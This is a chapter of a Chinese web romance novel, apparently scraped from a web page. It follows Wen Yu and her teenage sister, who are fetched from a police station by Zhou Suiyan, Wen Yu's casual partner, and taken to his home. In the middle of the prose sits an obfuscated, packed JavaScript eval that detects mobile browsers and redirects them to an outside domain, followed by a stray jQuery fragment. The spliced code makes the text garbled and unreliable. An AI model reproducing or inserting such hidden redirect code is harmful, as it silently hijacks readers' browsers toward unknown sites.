派出所的白织灯在金属桌面上投下冷光，温妤低着头在薄纸上签署姓名，她的眉宇间隐隐透露出不悦。
警察用保温杯碰了碰桌角，“未成年人住酒店也需要登记身份信息，并且需要在现场打电话给监护人确认后才可以入住。”
温妤不知道还有这茬，看来那个宾馆也不正规，当时老板说只需要登记她一个成年人的身份信息就行。
“知道了。”
“你打个电话给家里人，我们这边核实一下具体情况。”
警察翻动案卷时突然停顿：“上次那个离家出走的丫头，父母到场时她在调解室咬破了嘴唇。”看似闲聊实则施压。
温妤在心里吐槽这人真是有病，这么简单的事情非要整得这么麻烦，浪费彼此的时间。
迫于无奈，她解锁手机滑动通讯录，拇指在妈妈联系人上方悬停了很久都没有勇气按下。最后她按字母顺序滑到最下面，举棋不定片刻，按下那串数字。
电话接通，周遂砚那边有点吵，不等他开口，温妤抢先说：“我带妹妹来外面开房，需要监护人确认一下。”
周遂砚走出包厢，寻了个安静的角落问：“在哪？”
不等温妤再次作答，警察伸出手，示意她将拨通的电话给自己。
“是温妤和温楠的家长吧。”
周遂砚沉默两秒，应答道：“是的。”
温妤警觉地竖起耳朵，一听清楚，她眼中的焦虑渐渐褪去，终于显而易见地呼出一口长气。
警察没发现端倪，又问：“你知道她们出来外面住这件事吗？”
“知道。”他还礼貌询问道：“是出什么事情了吗？”
“她们住的那家宾馆发生了一起捅伤案，这才牵扯出未成年入住时没登记身份信息。现在你们家长知道这回事就行，怕就怕孩子是离家出走，更何况女孩子大晚上在外面也不安全。”
“我现在过来接她们，麻烦告知一下地址。”
“椿树派出所。”
“好的，我马上过来。”
电话挂断后，警察欣慰道：“你看看家长多操心你们，一提到不安全立马就说要过来接人，以后学点乖。”
今晚温妤的耳朵被他念叨的起了一层厚茧，她恨不得立刻拍屁股走人，于是不耐烦地阴阳怪气道：“说了那么多您老人家也渴了，喝点水润润嗓子。”
警察一脸恨铁不成钢的样子，识相地闭上嘴巴走了。
询问室挂钟的滴答声突然变得刺耳。
周遂砚在温妤耐心告罄之际赶来，她在闻到他身上熟悉的味道时下意识放松了肩膀，这个细节让正在做收尾工作的警察停下敲键盘的手。
简单交涉几分钟，里面的职员都没有再节外生枝地进行为难，很快便放人了。
走出椿树派出所，温楠盯着前面那个宽肩窄腰、身形颀长、气质如芝兰玉树一般儒雅冷峻的背影，凑近温妤耳边好奇问：“他是谁啊？”
温妤耷拉着眼皮，一时讷讷，稍稍迟疑道：“一个朋友。”
温楠哦了一声，嘀嘀咕咕地说：“那你这朋友长得蛮帅的。”她没有多想，毕竟她知道姐姐不会真的打电话给家里，让朋友过来冒充监护人也是情有可原。
直到车门打开，温楠瞧见驾驶位还坐着一个人，并亲切地唤自己的姐姐小温，她这才意识到两人的关系可能不太一般。
车内灯光柔和又敞亮，温楠坐在后排，观察着驾驶位上的司机。他常年左侧车窗晒出的古铜色脸颊与衣领下的苍白形成色差，右眼尾因长期眯眼观察后视镜而堆积出更深的鱼尾纹。
温楠起初一声不吭，思虑过后还是内心不安，试探性问：“姐，你今天怎么没让君珩哥哥出来一起吃饭呀？”
温妤脸色微变，眼底闪过一丝挣扎，旋即若无其事地说：“我和他大一那会儿就分手了。”
温楠继续追问道：“那后来呢，还谈过新的男朋友吗？”
这话给温妤问住了，她的嘴巴微动，但又迟迟说不出话，良久后答得有些勉强：“没有。”
话音刚落，周遂砚突然降下一半车窗，她往副驾驶的位置匆匆挑了那么一眼，只一眼，他的神情还是那么寡淡无味。
温妤扭头望向窗外，溢进来的风扑在她灰沉沉的脸上，有些许凉意。
——
水雾弥漫，夜色笼罩。
周遂砚从鞋柜里拿出一双没穿过的居家鞋，随和道：“家里还有间客房，你跟着姐姐安心住下吧。”
温楠注意到温妤轻车熟路地换好鞋，呆呆傻傻地站在那有些迷糊，待反应过来后大胆问道：“你和我姐很熟吗？”她问出了一路以来心中的疑虑，毕竟两个女孩子住在一个年龄不相仿的男生家里，总觉得很奇怪。
他闻言唇线拉直，偏过头，眼神意味不明，慢条斯理地把问题抛向温妤，“我们很熟吗？”
温妤停顿，似乎是在斟酌用词，搜肠刮肚没个所以然，她眉头紧锁地对温楠说：“再这么刨根问底你就去外面睡大街。”说完便抬脚往客房的方向走。
温楠闭上嘴巴，默默地跟在她身后。
客房一尘不染，床品是冷调的亚麻质地，毛巾叠成标准的三角形，玻璃杯倒扣在托盘里，有点像酒店的复刻版。
温妤把包随意扔在床上，她抬头一瞥，温楠明显有些情绪低落，超绝不经意地问：“睡了一下午，现在饿不饿？”
温楠磨磨蹭蹭放下肩上的书包，老实回了句：“有点饿了。”她这个年龄段正好在长身体，饿得快吃得也多。
“想吃什么？”温妤拍了拍床沿，示意她过来一起看美团上的外卖。
温妤见她听话地坐过来，干脆把手机给她，让她自己挑选合心意的吃食。
温楠垂眸陷入苦恼，她想吃窑鸡，又想吃小龙虾。之所以两者难抉择，是因为她同班同学前天和家长一起外出，其乐融融吃了这两样东西，她很羡慕。
最终，出于价格考虑，她咬着大拇指选了窑鸡，结算的时候把手机还给温妤。
温妤付完钱，目睹温楠正在挠手臂，她的皮肤肉眼可见地泛红，连带着脖子那一块都有过敏反应。
“你先去洗头洗澡吧。”
“好。”温楠边挠痒边去书包里拿衣服。
温妤见她拿着外穿的衣服准备进淋浴间，语气不详道：“你睡衣呢？”
温楠静默一瞬，嗫喏道：“这衣服有点短，不打算再穿出去，就拿来当睡衣了。”
温妤听后，心不在焉道：“快去洗吧，一会外卖该到了。”她又怕温楠不会用淋浴间的设备，先一步进去帮她把水放好，再去书房问周遂砚家里有没有治过敏的药。
等温楠沐浴完毕，外卖也准时抵达，温妤拧着门把手在门口唤她出来客厅吃东西。
餐桌上的外卖袋子占据一半的位置，窑鸡棕红色的脆皮泛着油光，锡纸包裹处渗出琥珀色的汁水，旁边堆叠着绯红的小龙虾，辣椒碎和蒜末粘在壳上。
温楠双眼放光地看向温妤，原来姐姐什么都知道，只是不爱表达。
周遂砚坐在沙发上看着这幅场景，微微勾了勾唇，他伸手从茶几底下掏出医药箱，找出抗过敏药，起身递给温楠。
“饭后吃一粒。”
不料温楠头脑一热，超小声说了句：“谢谢姐夫。”明显这个称呼她也感到十分陌生，说完后竟满脸羞红。
温妤瞳孔地震，瞬间脑袋木得发胀，呆愣片刻后拍了一下温楠的后脑勺说：“瞎喊什么，赶紧坐下吃饭。”她有些慌乱地开始解阳光玫瑰的包装盒，试图转移大家的注意力。
温楠以为自己闯祸了，缩缩脖子，安静地坐在一旁，开始乖乖戴一次性手套。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388727|180393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温妤知道周遂砚晚上不吃油腻辛辣的东西，给他点了份鲜香的羊肉泡馍。商家考虑到外卖配送时间，没有把馍提前掰好泡在汤里。
他坐在那里一点一点掰馍，随口问道：“你妹妹还在上学？”
温妤答得轻飘：“读高中。”
“周末过来找你玩吗？”他还是盯着她问，明明当事人就坐在他对面，俨然看不见似的。
温楠见温妤没继续说话，于是礼貌应答道：“我生病休学了，来姐姐这里玩两天，然后回家待着。”
周遂砚狐疑道：“严重吗？”
温楠有些恍惚，实诚地点头说：“重度焦虑症，是有点严重。”
“看心理医生了吗？”
“你今天怎么也这么多问题。”温妤原本有些蹙紧的眉头更紧了几分，至少现在，她不太愿意他和自己的家庭牵扯上太多的瓜葛。
温楠试图缓解尴尬，用手指了指说：“我想吃你面前那个鸡腿。”
温妤顺手将鸡腿和果汁一块儿递给她。
吃完这顿夜宵，已经是夜里十二点，外面的雨停了有一会儿。
温妤正用毛巾擦拭着湿漉漉的头发，一抬头发现温楠抱着枕头已睡熟。她拿着吹风机，准备去客厅靠近阳台那边的小角落里吹头发。
——
黑夜里，电脑屏幕亮得刺眼，周遂砚后颈凸起的骨节随着打字节奏起伏，他在听见开灯的声响后朝里望了一眼，看见温妤拿着吹风机站在电视机前。
她也看了他一眼，内心惊讶他怎么这个点还没有睡觉，于是慢吞吞荡过去问：“怎么还没睡？”
周遂砚无意识地揉着太阳穴，“有个剧本比较棘手。”
“那你忙吧。”温妤拉开缠在吹风机上的黑色粗线，“我先去吹个头发。”
他简短地“嗯”了一声。
温妤的头发不算多，再加上前不久刚修短，随便用吹风机捯饬捯饬便干得差不多了。持续的噪音暂停，她一转身，发现周遂砚不知道什么时候进来了，正弯腰在饮水机处接水。
她也有点渴，在置物柜的另一边找到自己的杯子，也过去接水喝。
温妤的头发刚洗，飘逸又柔顺，家里新换的洗发水是木质调的，闻着像檀香味。她与周遂砚擦身而过时，他清晰地闻到了这股味道。
她洗完澡没有穿内衣的习惯，睡衣的领口比较宽敞，以至于再次弯腰兑冷水的时候走光了。
周遂砚目不转睛地死死盯住她。
面对他染上情欲的目光，温妤轻轻咬着下唇，不禁挪开视线，冷言抛下一句：“我今天生理期。”她顾虑到妹妹还在客房里，便撒谎了，而且她也不认为他真的能记住自己生理期的日子。
周遂砚的左手突然扣住她的手腕，将人倾倒进自己怀里，两人因惯性一前一后各进退一步。他的肩胛骨撞到电视柜发出闷响，柜面玻璃杯里的水面剧烈晃动。
“我只是你一个朋友，没必要把话题聊到生理期上面吧。”他的语气很平，却似有若无地带着点不痛快。
敏感的童年导致温妤从小就特别擅长察言观色，平时两人待在一起的时候她会偷偷揣摩他的神情和语气，像现在，她明显知道他不舒服的点在哪里。
但她拒绝一味的迎合，刻意凑近他，漫不经心地放慢语速道：“不然呢，难不成直接和我妹妹说咱俩是炮友？”
“不太好吧。”温妤的尾音拖得很长，戏谑感拉满。
周遂砚听罢，轻挑下眉，耷拉着眼睑看着她说：“你要是不介意，倒是可以和她这么直说。”
她的脸色瞬间变了，不服气地骂了句：“敢告诉她的话，你死定了。”随即从他怀里挣扎出来，头也不回地钻回客房。
他缓缓抬头望向那扇紧闭的门，不显山露水的脸上裹挟着隐隐的不满，藏匿进朦朦胧胧的夜色里。